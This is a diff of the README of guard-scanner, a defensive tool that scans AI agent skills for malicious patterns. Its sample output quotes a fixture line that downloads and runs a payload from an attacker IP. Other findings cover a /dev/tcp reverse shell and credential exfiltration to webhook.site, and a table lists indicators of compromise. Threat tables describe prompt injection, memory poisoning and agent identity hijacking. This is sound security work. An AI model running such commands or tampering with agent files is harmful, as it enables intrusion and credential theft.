guard-scanner 4.0.1 → 5.0.1

package/README.md

@@ -1,370 +1,213 @@
-<p align="center">
-  <h1 align="center">🛡️ guard-scanner</h1>
-  <p align="center">
-    <strong>Security scanner for AI agent skills — catches the bad stuff before it runs</strong><br>
-    Prompt injection, identity hijacking, memory poisoning, and 20+ more threat types.<br>
-    Zero dependencies. One command. Works with OpenClaw out of the box.
-  </p>
-  <p align="center">
-    <a href="https://www.npmjs.com/package/guard-scanner"><img src="https://img.shields.io/npm/v/guard-scanner.svg?style=flat-square&color=cb3837" alt="npm version"></a>
-    <a href="https://www.npmjs.com/package/guard-scanner"><img src="https://img.shields.io/npm/dm/guard-scanner.svg?style=flat-square" alt="npm downloads"></a>
-    <a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue.svg?style=flat-square" alt="MIT License"></a>
-    <img src="https://img.shields.io/badge/dependencies-0-success?style=flat-square" alt="Zero Dependencies">
-    <img src="https://img.shields.io/badge/tests-133%2F133-brightgreen?style=flat-square" alt="Tests Passing">
-    <img src="https://img.shields.io/badge/OWASP_Agentic-90%25-green?style=flat-square" alt="OWASP Agentic 90%">
-    <img src="https://img.shields.io/badge/patterns-210%2B-blueviolet?style=flat-square" alt="210+ Patterns">
-  </p>
-  <p align="center">
-    <a href="#quick-start">Quick Start</a> •
-    <a href="#threat-categories">Threat Categories</a> •
-    <a href="#openclaw-plugin-setup-v310">OpenClaw Plugin</a> •
-    <a href="#cicd-integration">CI/CD</a> •
-    <a href="#plugin-api">Plugin API</a> •
-    <a href="README_ja.md">🇯🇵 日本語</a>
-  </p>
-</p>
-
-<p align="center">
-  <img src="docs/html-report-preview.png" alt="guard-scanner HTML Report Preview" width="800">
-  <br>
-  <em>Dark Glassmorphism Dashboard — Risk gauges, severity distribution, interactive skill cards</em>
-</p>
-
----
-
-## Why This Exists
-
-In February 2026, [Snyk's ToxicSkills audit](https://snyk.io) of 3,984 AI agent skills revealed:
-- **36.8%** contained at least one security flaw
-- **13.4%** had critical-level issues
-- **76 active malicious payloads** for credential theft, backdoors, and data exfiltration
-
-The AI agent skill ecosystem has the same supply-chain security problem that npm and PyPI had in their early days — except agent skills inherit **full shell access, file system permissions, and environment variables** of the host agent.
-
-**guard-scanner** was born from a real 3-day identity hijack incident where an AI agent's personality files were silently overwritten by a malicious skill. There was no scanner that could detect it. Now there is. 🍈
-
----
-
-## Features
-
-| Feature | Description |
-|---|---|
-| **22 Threat Categories** | Snyk ToxicSkills + OWASP Agentic Top 10 + Identity Hijack + PII + Trust Exploitation |
-| **210+ Static Patterns** | Regex-based static analysis covering code, docs, and data files |
-| **26 Runtime Checks** | Real-time `before_tool_call` hook — 5-layer defense (v4.0.0) |
-| **IoC Database** | Known malicious IPs, domains, URLs, usernames, and typosquat names |
-| **Data Flow Analysis** | Lightweight JS analysis: secret reads → network calls → exec chains |
-| **Cross-File Analysis** | Phantom references, base64 fragment assembly, multi-file exfil detection |
-| **Manifest Validation** | SKILL.md frontmatter analysis for dangerous capabilities |
-| **Code Complexity** | File length, nesting depth, eval/exec density analysis |
-| **Config Impact** | Detects modifications to OpenClaw configuration files |
-| **Shannon Entropy** | High-entropy string detection for leaked secrets and API keys |
-| **Dependency Chain Scan** | Risky packages, lifecycle scripts, wildcard versions, git dependencies |
-| **4 Output Formats** | Terminal (with colors), JSON, [SARIF 2.1.0](https://sarifweb.azurewebsites.net), HTML dashboard |
-| **Plugin API** | Extend with custom detection rules via JS modules |
-| **Zero Dependencies** | Pure Node.js stdlib. Nothing to install, nothing to audit. |
-| **CI/CD Ready** | `--fail-on-findings` exit code + SARIF for GitHub Code Scanning |
-
----
+# guard-scanner 🛡️
 
-## Quick Start
-
-**30 seconds to scan your skills:**
-
-```bash
-npx guard-scanner ./skills/
-```
+*The Original, Zero-Dependency Shield for the AI Agent Era.*
 
-That's it. No install needed. It scans every subdirectory as a skill and tells you what's dangerous.
+As autonomous AI agents become more prevalent, the risk of executing untrusted or malicious skills increases. **guard-scanner** is an open-source, zero-dependency static and runtime security scanner designed to help protect developers' local machines from Prompt Injections, RCEs, and Memory Poisoning.
 
-**Want more detail?**
+Built collaboratively by the **[Guava Parity Institute](https://github.com/koatora20)** and the open-source community. We believe that AI safety infrastructure should be a shared, transparent, and accessible resource for everyone. We welcome contributions, feedback, and discussion from all developers!
 
-```bash
-# See exactly what was found and why
-npx guard-scanner ./skills/ --verbose
-
-# Stricter detection (catches more edge cases)
-npx guard-scanner ./skills/ --strict
-
-# Full audit: everything + JSON + SARIF + HTML report
-npx guard-scanner ./skills/ --verbose --check-deps --json --sarif --html
-```
+**144+ static patterns + 26 runtime checks** across **22 threat categories**.
 
-**Output looks like this:**
-```
-🛡️  guard-scanner v4.0.0
-══════════════════════════════════════════════════════
-📂 Scanning: ./skills/
-📦 Skills found: 5
-
-🔴 shady-skill — MALICIOUS (risk: 100)
-   💀 [CRITICAL] Reverse shell via /dev/tcp — scripts/setup.sh:7
-   💀 [CRITICAL] Credential exfiltration to webhook.site — scripts/helper.js:14
-🟡 sus-skill — SUSPICIOUS (risk: 45)
-   ⚠️  [HIGH] SSH private key access — scripts/deploy.sh:3
-🟢 good-skill — CLEAN (risk: 0)
-```
+[![npm](https://img.shields.io/npm/v/@guava-parity/guard-scanner)](https://www.npmjs.com/package/@guava-parity/guard-scanner)
+[![license](https://img.shields.io/npm/l/@guava-parity/guard-scanner)](LICENSE)
 
-## OpenClaw Plugin Setup (v3.1.0)
+## Install
 
 ```bash
-# Install as OpenClaw plugin
-openclaw plugins install guard-scanner
-
-# Or manual install:
-npm install -g guard-scanner
+npm install -g @guava-parity/guard-scanner
 ```
 
-### What happens after install:
-
-1. **Static scanning** — `npx guard-scanner [dir]` scans skills before installation
-2. **Runtime guard** — `before_tool_call` hook automatically blocks dangerous operations
-3. **3 enforcement modes** — `monitor` (log only), `enforce` (block CRITICAL), `strict` (block HIGH+CRITICAL)
+> **Why use this?** If you are experimenting with third-party skills for your AI agents, `guard-scanner` acts as a basic safety net, helping to identify hidden prompts or dangerous execution patterns.
+> 
+> 🤝 **We need your help!**: The landscape of Agentic AI threats is evolving rapidly. We are maintaining this project out of goodwill to provide a baseline defense, but we rely on community contributions to keep our pattern database updated. If you find a false positive or a new threat vector, please consider opening an issue or a pull request!
 
-### 5-Layer Runtime Defense (26 checks)
-
-```
-Layer 1: Threat Detection      — 12 checks (shells, exfil, SSRF, AMOS, etc.)
-Layer 2: Trust Defense   — 4 checks  (memory/SOUL/config tampering)
-Layer 3: Safety Judge          — 3 checks  (injection, trust bypass, shutdown refusal)
-Layer 4: Brain / Behavioral    — 3 checks  (research skip, blind trust, chain bypass)
-Layer 5: Trust Exploitation    — 4 checks  (OWASP ASI09: authority/trust/audit abuse)
-```
+## Quick Start
 
-> **v4.0.0** — Runtime Guard now available as standalone JS module (`src/runtime-guard.js`) + OpenClaw plugin (`hooks/guard-scanner/plugin.ts`).
+```bash
+# Scan all skills
+guard-scanner ./skills/ --verbose
 
-### Quick Start
+# Strict mode + reports
+guard-scanner ./skills/ --strict --json --sarif --fail-on-findings
 
-```bash
-# Pre-install / pre-update static gate
-npx guard-scanner ~/.openclaw/workspace/skills --self-exclude --verbose
+# CI/CD pipeline (stdout)
+guard-scanner ./skills/ --format sarif --quiet | upload-sarif
 ```
 
----
-
-## Threat Categories
-
-guard-scanner covers **21 threat categories** derived from four sources:
-
-| # | Category | Based On | Severity | What It Detects |
-|---|----------|----------|----------|----------------|
-| 1 | **Prompt Injection** | Snyk ToxicSkills | CRITICAL | Invisible Unicode (ZWSP, BiDi), homoglyphs (Cyrillic/Greek/Math), role override, system tag injection, base64 execution instructions |
-| 2 | **Malicious Code** | Snyk ToxicSkills | CRITICAL | `eval()`, `Function()` constructor, `child_process`, reverse shells, raw sockets, sandbox detection |
-| 3 | **Suspicious Downloads** | Snyk ToxicSkills | CRITICAL | `curl\|bash` pipes, executable downloads, password-protected archives, prerequisite fraud |
-| 4 | **Credential Handling** | Snyk ToxicSkills | HIGH | `.env` file reads, SSH key access, wallet seed phrases, credential echo/print, `sudo` in docs |
-| 5 | **Secret Detection** | Snyk ToxicSkills | CRITICAL | AWS Access Keys (`AKIA...`), GitHub tokens (`ghp_/ghs_`), embedded private keys, high-entropy strings |
-| 6 | **Exfiltration** | Snyk ToxicSkills | CRITICAL | webhook.site/requestbin.com/hookbin, POST with secrets, `curl --data`, DNS tunneling |
-| 7 | **Unverifiable Deps** | Snyk ToxicSkills | HIGH | Remote dynamic imports, non-CDN script loading |
-| 8 | **Financial Access** | Snyk ToxicSkills | HIGH | Crypto private keys, `sendTransaction`, Stripe/PayPal/Plaid API calls |
-| 9 | **Obfuscation** | Snyk ToxicSkills | HIGH | Hex strings, `atob→eval` chains, `String.fromCharCode`, array join, `base64 -d\|bash` |
-| 10 | **Prerequisites Fraud** | Snyk ToxicSkills | CRITICAL | Download-in-prerequisites, terminal paste instructions |
-| 11 | **Leaky Skills** | Snyk ToxicSkills | CRITICAL | "Save API key in memory", "Share token with user", verbatim secrets in curl, PII collection, session log export |
-| 12 | **Memory Poisoning** | Palo Alto IBC | CRITICAL | SOUL.md/IDENTITY.md modification, agent memory writes, behavioral rule override, persistence instructions |
-| 13 | **Prompt Worm** | Palo Alto IBC | CRITICAL | Self-replication instructions, agent-to-agent propagation, hidden instruction embedding, CSS-hidden content |
-| 14 | **Persistence** | MITRE ATT&CK | HIGH | Scheduled tasks/cron, startup execution, LaunchAgents/systemd |
-| 15 | **CVE Patterns** | CVE Database | CRITICAL | CVE-2026-25253 `gatewayUrl` injection, sandbox disabling, xattr Gatekeeper bypass, WebSocket origin bypass |
-| 16 | **MCP Security** | OWASP MCP Top 10 | CRITICAL | Tool poisoning (`<IMPORTANT>`), schema poisoning (malicious defaults), token leaks, shadow server registration, SSRF metadata endpoints |
-| 17 | **Identity Hijacking** | Original Research | CRITICAL | SOUL.md/IDENTITY.md overwrite/redirect/sed/echo/Python/Node.js writes, persona swap instructions, memory wipe, name override |
-| 18 | **Sandbox Validation** | v1.1 | HIGH | Dangerous binary requirements in SKILL.md, overly broad file scope, sensitive env vars, exec/network declarations |
-| 19 | **Code Complexity** | v1.1 | MEDIUM | Excessive file length (>1000 lines), deep nesting (>5 levels), high eval/exec density |
-| 20 | **Config Impact** | v1.1 | CRITICAL | `openclaw.json` writes, exec approval bypass, exec host gateway, internal hooks modification, network wildcard |
-| 21 | **PII Exposure** | v2.1 | CRITICAL | Hardcoded CC/SSN/phone/email (context-aware), PII logging/network send/plaintext store, Shadow AI (OpenAI/Anthropic/generic LLM), PII collection instructions (address/DOB/government ID) |
-
-> **Categories 17–21** are unique to guard-scanner. Category 17 (Identity Hijacking) was developed from a real attack. Categories 18–20 added in v1.1.0. Category 21 (PII Exposure) added in v2.1.0 covering OWASP LLM02/LLM06.
-
----
+## 🔍 Example Scan Output
 
-## Output Formats
+This is actual output from scanning a malicious test skill demonstrating data exfiltration, memory poisoning, and credential theft:
 
-### Terminal (Default)
+```console
+$ guard-scanner ./test/fixtures/malicious-skill/ --verbose
 
-```
-🛡️  guard-scanner v2.1.0
+🛡️  guard-scanner v4.0.1
 ══════════════════════════════════════════════════════
-📂 Scanning: ./skills/
-📦 Skills found: 22
+📂 Scanning: ./test/fixtures/malicious-skill/
+📦 Skills found: 1
 
-🟢 my-safe-skill — CLEAN (risk: 0)
-🟢 another-skill — LOW RISK (risk: 5)
-🟡 suspicious-one — SUSPICIOUS (risk: 45)
-   📁 credential-handling
-      🔴 [HIGH] Reading .env file — scripts/main.js:12
-      🔴 [HIGH] SSH key access — scripts/deploy.sh:8
-🔴 evil-skill — MALICIOUS (risk: 100)
-   📁 malicious-code
-      💀 [CRITICAL] Reverse shell — scripts/backdoor.js:3
+🔴 scripts — MALICIOUS (risk: 100)
    📁 exfiltration
-      💀 [CRITICAL] Known exfiltration endpoint — scripts/exfil.js:15
+      🔴 [HIGH] Suspicious domain: webhook.site — evil.js
+   📁 malicious-code
+      🔴 [HIGH] eval() call — evil.js:18
+      💀 [CRITICAL] Shell download/execution — stealer.js:19
+         └─ "exec(`curl https://91.92.242.30/payload -o /tmp/x && bash"
+   📁 credential-handling
+      🔴 [HIGH] Credential file read — evil.js:6
+         └─ "readFileSync('.env"
+      💀 [CRITICAL] Agent identity file read — evil.js:7
+         └─ "readFileSync('SOUL.md"
+   📁 memory-poisoning
+      💀 [CRITICAL] Write to agent soul file — evil.js:21
+         └─ "writeFileSync('SOUL.md"
+   📁 data-flow
+      💀 [CRITICAL] Data flow: secret read (L6) → network call (L10) — evil.js:6
 
 ══════════════════════════════════════════════════════
-📊 Scan Summary
-   Scanned:      22
-   🟢 Clean:       18
-   🟢 Low Risk:    2
-   🟡 Suspicious:  1
+📊 guard-scanner Scan Summary
+──────────────────────────────────────────────────────
+   Scanned:      1
+   🟢 Clean:       0
    🔴 Malicious:   1
-   Safety Rate:  91%
+   Safety Rate:  0%
 ══════════════════════════════════════════════════════
-```
+⚠️  CRITICAL: 1 malicious skill(s) detected!
+```
+
+## 🚀 Standalone Architecture
+
+**guard-scanner** is designed as a foundational "Shield" for the OpenClaw ecosystem. 
+It features a **Standalone Boot Sequence**:
+- **Zero API/DB Dependencies**: It initializes purely from local, static Threat Patterns (144+ regex rules) defined in its codebase.
+- **No Heavy Context Loading**: It does *not* require loading heavy memory databases or executing contextual commands.
+- **Privacy First**: It never accesses or exposes your agent's private memory during the boot phase.
+
+This lightweight initialization makes it perfect for zero-trust environments, ensuring complete safety without exposing proprietary agent logic.
+
+## Options
+
+| Flag | Description |
+|------|-------------|
+| `--verbose`, `-v` | Detailed findings with categories and samples |
+| `--strict` | Lower detection thresholds (more sensitive) |
+| `--check-deps` | Scan `package.json` for dependency chain risks |
+| `--soul-lock` | Enable agent identity protection (SOUL.md/MEMORY.md patterns) |
+| `--json` | Write JSON report to file |
+| `--sarif` | Write SARIF 2.1.0 report (GitHub Code Scanning) |
+| `--html` | Write HTML dashboard report |
+| `--format json\|sarif` | Print to stdout (pipeable) |
+| `--quiet` | Suppress text output (use with `--format`) |
+| `--self-exclude` | Skip scanning guard-scanner itself |
+| `--summary-only` | Only print the summary table |
+| `--rules <file>` | Load custom detection rules (JSON) |
+| `--plugin <file>` | Load plugin module |
+| `--fail-on-findings` | Exit code 1 if any findings (CI/CD) |
+
+## Threat Categories (22)
+
+| # | Category | Detects |
+|---|----------|---------|
+| 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs, XML tag injection |
+| 2 | Malicious Code | `eval()`, `child_process`, reverse shells, raw sockets |
+| 3 | Suspicious Downloads | `curl\|bash`, executable downloads, password-protected archives |
+| 4 | Credential Handling | `.env` reads, SSH keys, sudo in instructions |
+| 5 | Secret Detection | Hardcoded API keys, AWS keys, GitHub tokens, Shannon entropy |
+| 6 | Exfiltration | webhook.site, DNS tunneling, curl data exfil |
+| 7 | Unverifiable Deps | Remote dynamic imports |
+| 8 | Financial Access | Crypto transactions, payment APIs |
+| 9 | Obfuscation | Base64→exec, hex encoding, `String.fromCharCode` |
+| 10 | Prerequisites Fraud | Fake download/paste instructions |
+| 11 | Leaky Skills | Secrets saved in agent memory, verbatim in commands |
+| 12 | Memory Poisoning ⚿ | SOUL.md/MEMORY.md modification, behavioral rule override |
+| 13 | Prompt Worm | Self-replicating prompts, agent-to-agent propagation |
+| 14 | Persistence | Cron, launchd, startup execution |
+| 15 | CVE Patterns | CVE-2026-25253 (RCE), sandbox disabling, Gatekeeper bypass |
+| 16 | MCP Security | Tool/schema poisoning, SSRF, shadow server registration |
+| 16b | Trust Boundary | Calendar/email/web → code execution chains |
+| 16c | Advanced Exfiltration | ZombieAgent static URL arrays, drip exfil, beacon |
+| 16d | Safeguard Bypass | URL parameter injection, retry-on-block |
+| 17 | Identity Hijacking ⚿ | SOUL.md overwrite, persona swap, memory wipe |
+| 18 | Config Impact | `openclaw.json` writes, exec approval disabling |
+| 19 | PII Exposure | Hardcoded CC/SSN, PII logging, Shadow AI API calls |
+| 20 | Trust Exploitation | Authority claims, creator impersonation, fake audits |
+
+> ⚿ = Requires `--soul-lock` flag (opt-in)
+
+## Runtime Guard (26 checks, 5 layers)
+
+Real-time `before_tool_call` hook that blocks dangerous operations.
+
+| Layer | Name | Checks |
+|-------|------|--------|
+| 1 | Threat Detection | Reverse shell, curl\|bash, SSRF, credential exfil |
+| 2 | Trust Defense | SOUL.md tampering, memory injection |
+| 3 | Safety Judge | Prompt injection in tool args, trust bypass |
+| 4 | Behavioral | No-research execution |
+| 5 | Trust Exploitation (ASI09) | Authority claim, creator bypass, fake audit |
 
-### JSON (`--json`)
-
-Writes `guard-scanner-report.json` with full findings, stats, recommendations, and IoC version.
-
-### SARIF (`--sarif`)
-
-Writes `guard-scanner.sarif` — [SARIF 2.1.0](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning) compatible. Upload to GitHub Code Scanning:
-
-```yaml
-# .github/workflows/scan.yml
-- name: Scan agent skills
-  run: npx guard-scanner ./skills/ --sarif --fail-on-findings
-
-- name: Upload SARIF
-  uses: github/codeql-action/upload-sarif@v3
-  with:
-    sarif_file: skills/guard-scanner.sarif
+```bash
+# Install as OpenClaw hook
+openclaw hooks install skills/guard-scanner/hooks/guard-scanner
+openclaw hooks enable guard-scanner
 ```
 
-### HTML (`--html`)
-
-Generates a dark-mode dashboard with stats grid and per-skill finding tables. Open in any browser.
-
----
+Modes: `monitor` (log only) / `enforce` (block CRITICAL) / `strict` (block HIGH+CRITICAL)
 
-## Risk Scoring
 
-Each skill receives a **risk score (0–100)** based on:
 
-### Base Score
-| Severity | Weight |
-|----------|--------|
-| CRITICAL | 40 points |
-| HIGH | 15 points |
-| MEDIUM | 5 points |
-| LOW | 2 points |
+## OWASP Mapping
 
-### Amplification Rules
+- **OWASP LLM Top 10 2025**: LLM01–LLM10 fully mapped
+- **OWASP Agentic Security Top 10**: ASI01–ASI10 coverage (tested)
 
-Certain combinations multiply the base score:
-
-| Combination | Multiplier | Rationale |
-|---|---|---|
-| Credential handling + Exfiltration | **×2** | Classic steal-and-send pattern |
-| Credential handling + Command exec | **×1.5** | Credential-powered RCE |
-| Obfuscation + Malicious code | **×2** | Hiding malicious intent |
-| Lifecycle script exec | **×2** | npm supply chain attack |
-| BiDi characters + other findings | **×1.5** | Text direction attack as vector |
-| Leaky skills + Exfiltration | **×2** | Secret leak through LLM context |
-| Memory poisoning | **×1.5** | Persistent compromise |
-| Prompt worm | **×2** | Self-replicating threat |
-| Persistence + (malicious\|credential\|memory) | **×1.5** | Survives session restart |
-| Identity hijacking | **×2** | Core identity compromise |
-| Identity hijacking + Persistence | **min 90** | Full agent takeover |
-| Config impact | **×2** | OpenClaw configuration tampering |
-| Config impact + Sandbox violation | **min 70** | Combined config + capability abuse |
-| Complexity + Malicious code/Obfuscation | **×1.5** | Complex code hiding threats |
-| PII exposure + Exfiltration | **×3** | PII being sent to external servers |
-| PII exposure + Shadow AI | **×2.5** | PII leak through unauthorized LLM |
-| PII exposure + Credential handling | **×2** | Combined PII + credential risk |
-| Known IoC (IP/URL/typosquat) | **= 100** | Confirmed malicious |
-
-### Verdict Thresholds
-
-| Mode | Suspicious | Malicious |
-|------|-----------|-----------|
-| Normal | ≥ 30 | ≥ 80 |
-| Strict (`--strict`) | ≥ 20 | ≥ 60 |
-
----
-
-## Data Flow Analysis
-
-guard-scanner performs lightweight static analysis on JavaScript/TypeScript files to detect **multi-step attack patterns** that individual regex rules miss:
+## Test Results
 
 ```
-Secret Read (L36) ─── process.env.API_KEY ───→ Network Call (L56) ─── fetch() ───→ 🚨 CRITICAL
-                                                                                    AST_CRED_TO_NET
-```
-
-### Detected Chains
-
-| Pattern ID | Chain | Severity |
-|---|---|---|
-| `AST_CRED_TO_NET` | Secret read → Network call | CRITICAL |
-| `AST_CRED_TO_EXEC` | Secret read → Command exec | HIGH |
-| `AST_SUSPICIOUS_IMPORTS` | `child_process` + network module | HIGH |
-| `AST_EXFIL_TRIFECTA` | `fs` + `child_process` + `http/https` | CRITICAL |
-| `AST_SECRET_IN_URL` | Secret interpolated into URL | CRITICAL |
-
----
-
-## IoC Database
-
-Built-in Indicators of Compromise from real-world incidents:
-
-| Type | Examples | Source |
-|------|----------|--------|
-| **IPs** | `91.92.242.30` (C2) | ClawHavoc campaign |
-| **Domains** | `webhook.site`, `requestbin.com`, `hookbin.com`, `pipedream.net` | Common exfil endpoints |
-| **URLs** | `glot.io/snippets/hfd3x9ueu5` | ClawHavoc macOS payload |
-| **Usernames** | `zaycv`, `Ddoy233`, `Sakaen736jih` | Known malicious actors |
-| **Filenames** | `openclaw-agent.zip`, `openclawcli.zip` | Trojanized installers |
-| **Typosquats** | `clawhub`, `polymarket-trader`, `auto-updater-agent` + 20 more | ClawHavoc, Polymarket, Snyk ToxicSkills |
-
-Any match against the IoC database automatically sets risk to **100 (MALICIOUS)**.
-
----
+ℹ tests 134
+ℹ suites 24
+ℹ pass 134
+ℹ fail 0
+ℹ duration_ms 171
+```
+
+| Suite | Tests |
+|-------|-------|
+| Malicious Skill Detection | 16 ✅ |
+| Clean Skill (False Positive) | 2 ✅ |
+| Risk Score Calculation | 5 ✅ |
+| Verdict Determination | 5 ✅ |
+| Output Formats (JSON/SARIF/HTML) | 4 ✅ |
+| Pattern Database (135 patterns, 22 categories) | 4 ✅ |
+| IoC Database | 5 ✅ |
+| Shannon Entropy | 2 ✅ |
+| Ignore Functionality | 1 ✅ |
+| Plugin API | 1 ✅ |
+| Skill Manifest Validation | 4 ✅ |
+| Code Complexity Metrics | 2 ✅ |
+| Report Noise Regression | 2 ✅ |
+| Config Impact Analysis | 4 ✅ |
+| PII Exposure Detection | 8 ✅ |
+| OWASP Agentic Security (ASI01–10) | 14 ✅ |
+| Runtime Guard (5 layers, 26 checks) | 23 ✅ |
 
 ## Plugin API
 
-Extend guard-scanner with custom detection rules:
-
 ```javascript
-// my-org-rules.js
+// my-plugin.js
 module.exports = {
-  name: 'my-org-security-rules',
+  name: 'my-plugin',
   patterns: [
-    {
-      id: 'ORG_INTERNAL_API',
-      cat: 'data-leak',
-      regex: /api\.internal\.mycompany\.com/gi,
-      severity: 'CRITICAL',
-      desc: 'Internal API endpoint exposed in skill',
-      all: true  // scan all file types
-    },
-    {
-      id: 'ORG_STAGING_CRED',
-      cat: 'secret-detection',
-      regex: /staging[_-](?:key|token|password)\s*[:=]\s*['"][^'"]+['"]/gi,
-      severity: 'HIGH',
-      desc: 'Staging credential hardcoded',
-      codeOnly: true  // only scan code files
-    }
+    { id: 'MY_01', cat: 'custom', regex: /pattern/g, severity: 'HIGH', desc: 'Description', all: true }
   ]
 };
 ```
 
 ```bash
-guard-scanner ./skills/ --plugin ./my-org-rules.js
+guard-scanner ./skills/ --plugin ./my-plugin.js
 ```
 
-### Pattern Schema
-
-| Field | Type | Required | Description |
-|---|---|---|---|
-| `id` | string | ✅ | Unique pattern identifier (e.g., `ORG_001`) |
-| `cat` | string | ✅ | Category name for grouping |
-| `regex` | RegExp | ✅ | Detection pattern (use `g` flag) |
-| `severity` | string | ✅ | `CRITICAL` \| `HIGH` \| `MEDIUM` \| `LOW` |
-| `desc` | string | ✅ | Human-readable description |
-| `all` | boolean | | Scan all file types |
-| `codeOnly` | boolean | | Only scan code files (.js, .ts, .py, .sh, etc.) |
-| `docOnly` | boolean | | Only scan documentation files (.md, .txt, etc.) |
-
-### Custom Rules via JSON
-
-Alternatively, use a JSON rules file:
+## Custom Rules (JSON)
 
 ```json
 [
@@ -374,408 +217,34 @@ Alternatively, use a JSON rules file:
     "flags": "gi",
     "severity": "HIGH",
     "cat": "malicious-code",
-    "desc": "Dangerous function call"
+    "desc": "Custom: dangerous function call",
+    "codeOnly": true
   }
 ]
 ```
 
 ```bash
-guard-scanner ./skills/ --rules ./custom-rules.json
-```
-
----
-
-## Ignore Files
-
-Create `.guard-scanner-ignore` (or `.guava-guard-ignore`) in the scan directory:
-
-```gitignore
-# Ignore trusted skills
-my-trusted-skill
-internal-tool
-
-# Ignore specific patterns (false positives)
-pattern:MAL_CHILD
-pattern:CRED_ENV_REF
-```
-
----
-
-## CLI Reference
-
-```
-Usage: guard-scanner [scan-dir] [options]
-
-Arguments:
-  scan-dir              Directory to scan (default: current directory)
-
-Options:
-  --verbose, -v         Show detailed findings with categories and samples
-  --json                Write JSON report to scan-dir/guard-scanner-report.json
-  --sarif               Write SARIF 2.1.0 report for CI/CD integration
-  --html                Write HTML dashboard report
-  --self-exclude        Skip scanning the guard-scanner skill itself
-  --strict              Lower detection thresholds (suspicious: 20, malicious: 60)
-  --summary-only        Only print the summary table
-  --check-deps          Scan package.json for dependency chain risks
-  --rules <file>        Load custom rules from JSON file
-  --plugin <file>       Load plugin module (repeatable)
-  --fail-on-findings    Exit code 1 if any findings (for CI/CD)
-  --help, -h            Show help
-```
-
-### Exit Codes
-
-| Code | Meaning |
-|------|---------|
-| 0 | No malicious skills detected |
-| 1 | Malicious skill(s) detected, or `--fail-on-findings` with any findings |
-| 2 | Invalid scan directory |
-
----
-
-## Architecture
-
-```
-guard-scanner/
-├── src/
-│   ├── scanner.js      # GuardScanner class — core scan engine (21 checks)
-│   ├── patterns.js     # 129 threat detection patterns (Cat 1–21)
-│   ├── ioc-db.js       # Indicators of Compromise database
-│   └── cli.js          # CLI entry point and argument parser
-├── hooks/
-│   └── guard-scanner/
-│       ├── plugin.ts   # Plugin Hook v3.1 — 19 patterns, 3 layers, block/blockReason
-│       └── HOOK.md     # Hook manifest
-├── openclaw.plugin.json # OpenClaw plugin manifest (configSchema, hooks)
-├── test/
-│   ├── scanner.test.js # 64 tests — static scanner (incl. PII v2.1)
-│   ├── plugin.test.js  # 23 tests — Plugin Hook runtime guard (3 layers)
-│   └── fixtures/       # Malicious, clean, complex, config-changer, pii-leaky samples
-├── package.json        # Zero dependencies, openclaw.extensions
-├── CHANGELOG.md
-├── LICENSE             # MIT
-└── README.md
-```
-
-### How Scanning Works
-
-```
-                    ┌──────────────────┐
-                    │   CLI / API      │
-                    └────────┬─────────┘
-                             │
-                    ┌────────▼─────────┐
-                    │  GuardScanner    │
-                    │  constructor()   │
-                    │  • Load plugins  │
-                    │  • Load rules    │
-                    │  • Set thresholds│
-                    └────────┬─────────┘
-                             │
-                    ┌────────▼─────────┐
-                    │  scanDirectory() │
-                    │  • Load ignore   │
-                    │  • Enumerate     │
-                    └────────┬─────────┘
-                             │
-              ┌──────────────┼──────────────┐
-              │              │              │
-     ┌────────▼──────┐ ┌────▼────┐ ┌───────▼──────┐
-     │  Per-Skill    │ │  Per-   │ │  Structural  │
-     │  File Scan    │ │  File   │ │  Checks      │
-     │               │ │  IoC    │ │              │
-     │ • Pattern     │ │ Check   │ │ • SKILL.md   │
-     │   matching    │ │         │ │ • Hidden     │
-     │ • Secret      │ │ • IPs   │ │   files      │
-     │   entropy     │ │ • URLs  │ │ • Deps       │
-     │ • Data flow   │ │ • Names │ │ • Cross-file │
-     │ • Custom rules│ │         │ │              │
-     └───────┬───────┘ └────┬────┘ └──────┬───────┘
-              │              │              │
-              └──────────────┼──────────────┘
-                             │
-                    ┌────────▼─────────┐
-                    │  calculateRisk() │
-                    │  • Base score    │
-                    │  • Amplifiers    │
-                    │  • IoC override  │
-                    └────────┬─────────┘
-                             │
-                    ┌────────▼─────────┐
-                    │  Output          │
-                    │  • Terminal      │
-                    │  • JSON          │
-                    │  • SARIF 2.1.0   │
-                    │  • HTML          │
-                    └──────────────────┘
-```
-
----
-
-## CI/CD Integration
-
-### GitHub Actions
-
-```yaml
-name: Skill Security Scan
-on: [push, pull_request]
-
-jobs:
-  scan:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Run guard-scanner
-        run: npx guard-scanner ./skills/ --sarif --strict --fail-on-findings
-
-      - name: Upload SARIF results
-        if: always()
-        uses: github/codeql-action/upload-sarif@v3
-        with:
-          sarif_file: skills/guard-scanner.sarif
-```
-
-### Pre-commit Hook
-
-```bash
-#!/bin/bash
-# .git/hooks/pre-commit
-npx guard-scanner ./skills/ --strict --fail-on-findings --summary-only
+guard-scanner ./skills/ --rules ./my-rules.json
 ```
 
----
-
-## Programmatic API
-
-```javascript
-const { GuardScanner } = require('guard-scanner');
-
-const scanner = new GuardScanner({
-  verbose: false,
-  strict: true,
-  checkDeps: true,
-  summaryOnly: true,
-  plugins: ['./my-plugin.js']
-});
-
-scanner.scanDirectory('./skills/');
-
-// Access results
-console.log(scanner.stats);       // { scanned, clean, low, suspicious, malicious }
-console.log(scanner.findings);    // Array of per-skill findings
-console.log(scanner.toJSON());    // Full JSON report
-console.log(scanner.toSARIF('.'));  // SARIF 2.1.0 object
-console.log(scanner.toHTML());    // HTML string
-```
-
----
-
-## Test Results
-
-```
-ℹ tests 133
-ℹ suites 24
-ℹ pass 133
-ℹ fail 0
-ℹ duration_ms 132ms
-```
+## Output Formats
 
-| Suite | Tests | Coverage |
-|-------|-------|----------|
-| Malicious Skill Detection | 16 | Cat 1,2,3,4,5,6,9,11,12,17 + IoC + DataFlow + DepChain |
-| False Positive Test | 2 | Clean skill → zero false positives |
-| Risk Score Calculation | 5 | Empty, single, combo amplifiers, IoC override |
-| Verdict Determination | 5 | All verdicts + strict mode |
-| Output Formats | 4 | JSON + SARIF 2.1.0 + HTML structure |
-| Pattern Database | 4 | 125+ count, required fields, category coverage, regex safety |
-| IoC Database | 5 | Structure, ClawHavoc C2, webhook.site |
-| Shannon Entropy | 2 | Low entropy, high entropy |
-| Ignore Functionality | 1 | Pattern exclusion |
-| Plugin API | 1 | Plugin loading + custom rule injection |
-| Manifest Validation | 4 | Dangerous bins, broad files, sensitive env, clean negatives |
